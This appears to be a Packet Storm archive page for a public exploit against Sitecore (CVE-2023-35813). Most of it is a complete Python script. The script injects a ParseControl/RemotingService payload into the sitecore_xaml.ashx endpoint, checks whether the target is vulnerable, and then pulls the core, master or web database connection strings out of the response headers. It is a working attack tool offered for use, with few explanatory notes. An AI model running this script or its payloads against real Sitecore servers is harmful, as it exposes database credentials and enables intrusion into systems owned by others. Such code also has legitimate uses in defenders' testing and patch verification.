exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sitecore 8.2 Remote Code Execution

Sitecore 8.2 Remote Code Execution
Posted Mar 11, 2024
Authored by Abhishek Morla

Sitecore version 8.2 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2023-35813
SHA-256 | bb3d70849315ed8ba0c15b23acace7c5306c6747aad0652046ed829b77617644

Sitecore 8.2 Remote Code Execution

Change Mirror Download
#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
# Initial payload to test vulnerability
test_payload = '''
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='TestVulnerability'
/>
'''
encoded_payload = quote(test_payload)

url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

response = requests.post(url, headers=headers, data=data, verify=False)

# Check for the test string in the Content-Type of the response
return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
# Payload templates for different options
payloads = {
'1': "<%$ ConnectionStrings:core %>",
'2': "<%$ ConnectionStrings:master %>",
'3': "<%$ ConnectionStrings:web %>"
}

base_payload = '''
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='{}'
/>
'''

return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
if initial_test(hostname):
print("Exploiting, Please wait...")
console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
print("Select the payload to use:")
print("1: Core connection strings")
print("2: Master connection strings")
print("3: Web connection strings")
payload_choice = input("Enter your choice (1, 2, or 3): ")

payload = get_payload(payload_choice)
encoded_payload = quote(payload)

url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

response = requests.post(url, headers=headers, data=data)

if 'Content-Type' in response.headers:
print("Content-Type from the response header:")
print("\n")
print(response.headers['Content-Type'])
else:
print("No Content-Type in the response header. Status Code:", response.status_code)
else:
print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
console.print("[bold green]Author: Abhishek Morla[/bold green]")
console.print("[bold red]CVE-2023-35813[/bold red]")
parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
args = parser.parse_args()

main(args.hostname)


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close